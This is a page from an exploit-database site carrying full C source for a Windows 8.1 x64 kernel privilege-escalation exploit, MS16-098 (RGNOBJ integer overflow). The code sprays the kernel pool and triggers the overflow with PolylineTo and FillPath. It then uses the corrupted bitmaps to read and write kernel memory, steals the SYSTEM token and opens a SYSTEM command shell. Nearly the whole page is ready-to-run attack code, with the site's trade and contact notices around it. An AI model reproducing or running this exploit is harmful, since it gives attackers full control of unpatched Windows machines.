0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) Exploit

Author

Saif

Risk

[

Security Risk High

]

0day-ID

Category

Date add

Platform

// Source: https://github.com/sensepost/ms16-098/tree/b85b8dfdd20a50fc7bc6c40337b8de99d6c4db80
// Binary: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41020.exe
 
#include <Windows.h>
#include <wingdi.h>
#include <stdio.h>
#include <winddi.h>
#include <time.h>
#include <stdlib.h>
#include <Psapi.h>
 
HANDLE hWorker, hManager;
BYTE *bits;
//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
typedef struct
{
    DWORD UniqueProcessIdOffset;
    DWORD TokenOffset;
} VersionSpecificConfig;
 
VersionSpecificConfig gConfig = { 0x2e0, 0x348 }; //win 8.1
 
 
void AllocateClipBoard2(unsigned int size) {
    BYTE *buffer;
    buffer = malloc(size);
    memset(buffer, 0x41, size);
    buffer[size - 1] = 0x00;
    const size_t len = size;
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
    memcpy(GlobalLock(hMem), buffer, len);
    GlobalUnlock(hMem);
    //OpenClipboard(0);
    //EmptyClipboard();
    SetClipboardData(CF_TEXT, hMem);
    //CloseClipboard();
    //GlobalFree(hMem);
}
 
 
 
 
static HBITMAP bitmaps[5000];
 
void fungshuei() {
    HBITMAP bmp;
    // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
    for (int k = 0; k < 5000; k++) {
        //bmp = CreateBitmap(1685, 2, 1, 8, NULL); //800 = 0x8b0 820 = 0x8e0 1730 = 0x1000 1700 = 0xfc0 1670 = 0xf70
        bmp = CreateBitmap(1670, 2, 1, 8, NULL);                                         // 1680  = 0xf80 1685 = 0xf90 allocation size 0xfa0
        bitmaps[k] = bmp;
    }
 
    HACCEL hAccel, hAccel2;
    LPACCEL lpAccel;
    // Initial setup for pool fengshui.  
    lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
    SecureZeroMemory(lpAccel, sizeof(ACCEL));
    // Allocating  7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
    HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
    HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
    for (INT i = 0; i < 7000; i++) {
        hAccel = CreateAcceleratorTableA(lpAccel, 1);
        hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
        pAccels[i] = hAccel;
        pAccels2[i] = hAccel2;
    }
    // Delete the allocated bitmaps to free space at beiginig of pages
    for (int k = 0; k < 5000; k++) {
        DeleteObject(bitmaps[k]);
    }
    //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
    for (int k = 0; k < 5000; k++) {
        CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
    }
    // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
    for (int k = 0; k < 5000; k++) {
        bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size  = 3c0
        bitmaps[k] = bmp;
    }
    // Allocate 17500 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
    for (int k = 0; k < 1700; k++) { //1500
        AllocateClipBoard2(0x30);
    }
    // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
    for (int k = 2000; k < 4000; k++) {
        DestroyAcceleratorTable(pAccels[k]);
        DestroyAcceleratorTable(pAccels2[k]);
    }
     
}
 
void SetAddress(BYTE* address) {
    for (int i = 0; i < sizeof(address); i++) {
        bits[0xdf0 + i] = address[i];
    }
    SetBitmapBits(hManager, 0x1000, bits);
}
void WriteToAddress(BYTE* data) {
    SetBitmapBits(hWorker, sizeof(data), data);
}
 
LONG ReadFromAddress(ULONG64 src, BYTE* dst, DWORD len) {
    SetAddress((BYTE *)&src);
    return GetBitmapBits(hWorker, len, dst);
}
 
// Get base of ntoskrnl.exe
ULONG64 GetNTOsBase()
{
    ULONG64 Bases[0x1000];
    DWORD needed = 0;
    ULONG64 krnlbase = 0;
    if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
        krnlbase = Bases[0];
    }
    return krnlbase;
}
 
// Get EPROCESS for System process
ULONG64 PsInitialSystemProcess()
{
    // load ntoskrnl.exe
 
    ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
    // get address of exported PsInitialSystemProcess variable
    ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
    FreeLibrary((HMODULE)ntos);
    ULONG64 res = 0;
    ULONG64 ntOsBase = GetNTOsBase();
    // subtract addr from ntos to get PsInitialSystemProcess offset from base
    if (ntOsBase) {
        ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
    }
    return res;
}
 
// Get EPROCESS for current process
ULONG64 PsGetCurrentProcess()
{
    ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
 
     // walk ActiveProcessLinks until we find our Pid
    LIST_ENTRY ActiveProcessLinks;
    ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
 
    ULONG64 res = 0;
 
    while (TRUE) {
        ULONG64 UniqueProcessId = 0;
 
        // adjust EPROCESS pointer for next entry
        pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
        // get pid
        ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
        // is this our pid?
        if (GetCurrentProcessId() == UniqueProcessId) {
            res = pEPROCESS;
            break;
        }
        // get next entry
        ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
        // if next same as last, we reached the end
        if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
            break;
    }
    return res;
}
 
void main(int argc, char* argv[]) {
    HDC hdc = GetDC(NULL);
    HDC hMemDC = CreateCompatibleDC(hdc);
    HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
    HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
 
    static POINT points[0x3fe01];
 
    for (int l = 0; l < 0x3FE00; l++) {
        points[l].x = 0x5a1f;
        points[l].y = 0x5a1f;
    }
    points[2].y = 20;
    points[0x3FE00].x = 0x4a1f;
    points[0x3FE00].y = 0x6a1f;
 
    if (!BeginPath(hMemDC)) {
        fprintf(stderr, "[!] BeginPath() Failed: %x\r\n", GetLastError());
    }   
 
    for (int j = 0; j < 0x156; j++) {
        if (j > 0x1F && points[2].y != 0x5a1f) {
            points[2].y = 0x5a1f;
        }
        if (!PolylineTo(hMemDC, points, 0x3FE01)) {
            fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
        }
    }
 
    EndPath(hMemDC);
    //Kernel Pool Fung=Shuei
    fungshuei();
    //getchar();
     
    fprintf(stdout, "[+] Trigerring Exploit.\r\n");
    if (!FillPath(hMemDC)) {
            fprintf(stderr, "[!] FillPath() Failed: %x\r\n", GetLastError());
        }
    printf("%s\r\n", "Done filling.");
 
    HRESULT res;
    VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!fake) {
        fprintf(stderr, "VirtualAllocFailed. %x\r\n", GetLastError());
    }
    memset(fake, 0x1, 0x100);
     
    bits = malloc(0x1000);
    memset(bits, 0x42, 0x1000);
    for (int k=0; k < 5000; k++) {
 
        res = GetBitmapBits(bitmaps[k], 0x1000, bits); //1685 * 2 * 1 + 1
        if (res > 0x150) {
            fprintf(stdout, "GetBitmapBits Result. %x\r\nindex: %d\r\n", res, k);
            hManager = bitmaps[k];
            hWorker = bitmaps[k + 1];
 
            // Get Gh05 header to fix overflown header.
            static BYTE Gh04[0x9];
            fprintf(stdout, "\r\nGh04 header:\r\n");
            for (int i = 0; i < 0x10; i++){
                Gh04[i] = bits[0x1d0 + i];
                fprintf(stdout, "%02x", bits[0x1d0 + i]);
            }
             
            // Get Gh05 header to fix overflown header.
            static BYTE Gh05[0x9];
            fprintf(stdout, "\r\nGh05 header:\r\n");
            for (int i = 0; i < 0x10; i++) {
                Gh05[i] = bits[0xd90 + i];
                fprintf(stdout, "%02x", bits[0xd90 + i]);
            }
 
            // Address of Overflown Gh04 object header
            static BYTE addr1[0x7];
            fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
            for (int j = 0; j < 0x8; j++) {
                addr1[j] = bits[0x210 + j];
                fprintf(stdout, "%02x", bits[0x210 + j]);
            }
            //Get pvscan0 address of second Gh05 object
            static BYTE* pvscan[0x07];
            fprintf(stdout, "\r\nPvsca0:\r\n");
            for (int i = 0; i < 0x8; i++) {
                pvscan[i] = bits[0xdf0 + i];
                fprintf(stdout, "%02x", bits[0xdf0 + i]);
            }
 
            // Calculate address to overflown Gh04 object header.
            addr1[0x0] = 0;
            int u = addr1[0x1];
            u = u - 0x10;
            addr1[1] = u;
             
            //Fix overflown Gh04 object Header
            SetAddress(addr1);
            WriteToAddress(Gh04);
 
            // Calculate address to overflown Gh05 object header.
            addr1[0] = 0xc0;
            int y = addr1[1];
            y = y + 0xb;
            addr1[1] = y;
 
            //Fix overflown Gh05 object Header
            SetAddress(addr1);
            WriteToAddress(Gh05);
 
            // get System EPROCESS
            ULONG64 SystemEPROCESS = PsInitialSystemProcess();
            //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
            ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
            //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
            ULONG64 SystemToken = 0;
            // read token from system process
            ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
            // write token to current process
            ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
            SetAddress((BYTE *)&CurProccessAddr);
             
            WriteToAddress((BYTE *)&SystemToken);
            // Done and done. We're System :)
            system("cmd.exe");
             
            break;
        }
        if (res == 0) {
            fprintf(stderr, "GetBitmapBits failed. %x\r\n", GetLastError());
        }
    }
    getchar();
    //clean up
    DeleteObject(bitobj);
    DeleteObject(bitmap);
    DeleteDC(hMemDC);
    ReleaseDC(NULL, hdc);
    VirtualFree(0x0000000100000000, 0x100, MEM_RELEASE);
    //free(points);
     
}

#  0day.today [2024-11-16]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098) Exploit

Report Error

Report Error